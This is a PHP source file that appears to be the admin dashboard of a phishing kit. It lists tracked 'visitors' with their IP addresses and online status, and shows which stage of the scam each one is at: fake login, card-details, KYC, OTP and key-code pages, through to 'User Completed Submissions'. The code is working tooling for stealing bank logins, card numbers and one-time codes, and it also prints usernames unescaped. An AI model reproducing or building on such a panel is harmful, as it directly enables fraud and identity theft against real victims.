<?php
    include('../config.php');

    require_once('online_checker.php');
    // Fetch the latest entry
    $latestEntry = $pdo->query("SELECT * FROM visitors ORDER BY created_at DESC LIMIT 1")->fetch(PDO::FETCH_ASSOC);

    $stmt = $pdo->query("SELECT * FROM visitors ORDER BY created_at DESC");
    $users = $stmt->fetchAll(PDO::FETCH_ASSOC);

    $output = '';

    foreach ($users as $user) {
        $username = $user['username'];
        $is_online = isUserOnline($username, $pdo);
        $isLatest = ($user['id'] == $latestEntry['id']);

        $output .= '<tr>';
        $output .= '<td><h3>' . $username . '</h3>';
        if ($isLatest) {
            $output .= "<button type='button' class='btn btn-danger'>New</button>";
        }
        $output .= '<td><center>' . ($is_online ? "<div class='spinner-grow text-success'></div><br>Online" : "<button class='btn btn-danger'>Offline</button>") . '</center></td>';
        $output .= '<td><center><a type="button" href="user_info.php?visitor_id=' . htmlspecialchars($user['id']) . '" class="btn btn-light">View</a></center></td>';    
        $output .= '<td><h3><center>';

        switch ($user['redirect_address']) {
            case "loading.php":
                $output .= "<h6>Loading Page</h6>";
                break;
            case "card/spk.php":
                $output .= "<h6>Card Page</h6>";
                break;
            case "login/spk.php":
                $output .= "<h6>Login Page</h6>";
                break;
            case "details/spk.php":
                $output .= "<h6>KYC Page</h6>";
                break;
            case "otp/spk.php":
                $output .= "<h6>OTP Page</h6>";
                break;
            case "keycode/spk.php":
                $output .= "<h6>Key Code Page</h6>";
                break;
            case "complete/spk.php":
                $output .= "<h6>Completed Page</h6>";
                break;
            case "notice/spk.php":
                $output .= "<h6>Notice Page</h6>";
                break;
            default:
                $output .= "Unknown status.";
        }

        $output .= '</center></h3></td>';
        $output .= '<td><h3><center>';

        switch ($user['redirect_address']) {
            case "loading.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>Loading Page</button>";
                break;
            case "card/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>Requesting Card Details</button>";
                break;
            case "login/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>User directed to login</button>";
                break;
            case "details/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>Requesting Personal Details</button>";
                break;
            case "otp/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>Requesting OTP</button>";
                break;
            case "keycode/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>Requesting Key Code</button>";
                break;
            case "complete/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>User Completed Submissions</button>";
                break;
            case "notice/spk.php":
                $output .= "<button type='button' class='btn btn-outline-theme'>User currently on Notice Page</button>";
                break;
            default:
                $output .= "Unknown status.";
        }

        

        $output .= '</center></h3></td>';
        $output .= '<td><h3>' . htmlspecialchars($user['ip_address']) . '</h3></td>';
        $output .= '<td><a type="button" href="helpers/delete_visitor.php?visitor_id=' . htmlspecialchars($user['id']) . '" class="btn btn-danger">Delete</a></td>';
        $output .= '</tr>';
    }
    echo $output;
?>
